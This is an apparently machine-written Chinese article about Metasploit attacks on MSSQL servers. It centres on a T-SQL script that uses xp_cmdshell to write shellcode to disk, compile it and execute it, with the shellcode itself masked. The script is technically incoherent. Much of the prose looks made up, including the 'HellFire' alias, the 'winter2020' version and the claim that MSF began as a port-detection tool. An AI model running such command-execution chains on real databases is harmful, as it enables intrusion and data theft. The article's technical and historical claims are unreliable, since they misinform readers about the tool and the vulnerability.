1. 概述
最近,工具MSF对MSSQL的全新攻击模式登场,该攻击模式暴露了许多MSSQL的漏洞,并有望成为黑客们推行攻击的重要工具。据悉,该攻击模式为winter2020版的MSF所拥有,从那时起MSSQL从普通的SQL注入中摆脱了不少漏洞,现在它面临的是一种更加危险的攻击形式。下面我们就来了解一下MSF攻击MSSQL的新技能。
2. 空战开始
2.1 简介
与一般的传统攻击不同,MSF是一种新型的攻击方式。其别名为'HellFire'(地狱之火),可以将恶意代码写入MSSQL的多个配置文件中,以实现对数据库的破坏和数据的窃取。与此同时,攻击者还可以创建新用户或者获得管理员权限等等。
2.2 攻击流程
在攻击流程中,首先要求攻击者使用渗透测试软件MSF实现与目标MSSQL服务器的连接,然后通过授权得到高级权限。其次,攻击者在目标服务器上执行操作,以自动化方式编辑、下载和执行恶意代码。最后,攻击者通过所连接的远程控制器(常用的是反向shell)进行后继操作,包括窃取文件、修改流程等等。
3. 恶意代码
3.1 代码分析
MSF攻击MSSQL会将恶意代码嵌入多个配置文件中,然后通过注入实现执行攻击。下面是包含恶意代码的文件:(其中'--'表示后面的注释)
-- Create a task
EXEC master.dbo.xp_create_subdir 'SQLWind'
-- Step 1: Get code in hexadecimal format
declare @shellcode_1 varchar(8000); set @shellcode_1 = 0x6AXXXXX8BXXXXXXX50XXXXXX
...Omitted...
XXXXXX89CXXXXXXXB0XXXX50XXXXXX...Omitted...
XXXXXX8BXXXXXX52XXXXXX8BXXXX...Omitted...
XXXXXX0FXXXXXX83XXXXXXD9CXXXX
-- Step 2: Generate a random number and use it to generate file names
declare @fname_1 varchar(16)
select top 1 @fname_1 = name from sys.columns order by NEWID() for xml path('')
-- Step 3: Save code to disk
exec ('master.dbo.xp_cmdshell ''echo ' + @shellcode_1 + ' > C:\Program Files\Microsoft SQL Server\MSSQL13.MSSQLSERVER\MSSQL\LOG\' + @fname_1 + '.c'') at [dbo1]; WAITFOR DELAY ''000:00:01''
-- Step 4: Compile
exec ('master.dbo.xp_cmdshell ''cl.exe C:\Program Files\Microsoft SQL Server\MSSQL13.MSSQLSERVER\MSSQL\LOG\' + @fname_1 + '.c /FeC:\Program Files\Microsoft SQL Server\MSSQL13.MSSQLSERVER\MSSQL\LOG\' + @fname_1 + '.dll /EHsc''') at [dbo1]; WAITFOR DELAY ''000:00:01''
-- Step 5: Execute
exec ('master.dbo.xp_cmdshell ''C:\Program Files\Microsoft SQL Server\MSSQL13.MSSQLSERVER\MSSQL\LOG\' + @fname_1 + '.dll''') at [dbo1]; WAITFOR DELAY ''000:00:01''
这段代码有几个常用的函数,比如clone函数,其他的都是通过cl编译器创建的。攻击者将代码嵌入到了一个特殊的配置文件中。事实上,MSF可也是棘手的,因为它原来是一个服务器端口检测工具,因此可以轻松地定位到目标。更糟糕的是,它的攻击不断演进,每次都能得到进一步改进。
3.2 风险评估
总体上,我们可得出一些关于这种攻击模式的结论。首先,MSF攻击MSSQL需要连接到目标服务器,这本身就是需要获得管理员权限的。其次,攻击者可以在一定程度上掌控其随机生成的文件名,但同时也需要依赖其注入的代码。这意味着攻击者需要非常了解其代码,必须明确其隐蔽性是多么重要的,以便尽可能地避免被网络管理员发现。最后,攻击者可能需要一些基础技能来处理嵌入的代码和获取数据等操作。
因此,假设攻击者对其嵌入的代码充分了解并具备技能,那么该攻击模式还存在其他局限性吗? 这个问题没有固定的答案。总结来看,MSF对于MSSQL的攻击确实危害巨大,只有服务器安全,业务安全方面都做好了,才能尽量避免这种攻击手段的发生。
4. 结论
总的来说,MSF攻击MSSQL继承了MSSQL本身的安全漏洞,再加上MSF自身的强大功能,无疑将成为黑客们新的宠物。但是,这种攻击模式并非无懈可击,服务器的管理和安全措施也决定了攻击者对MSSQL的攻击能否成功。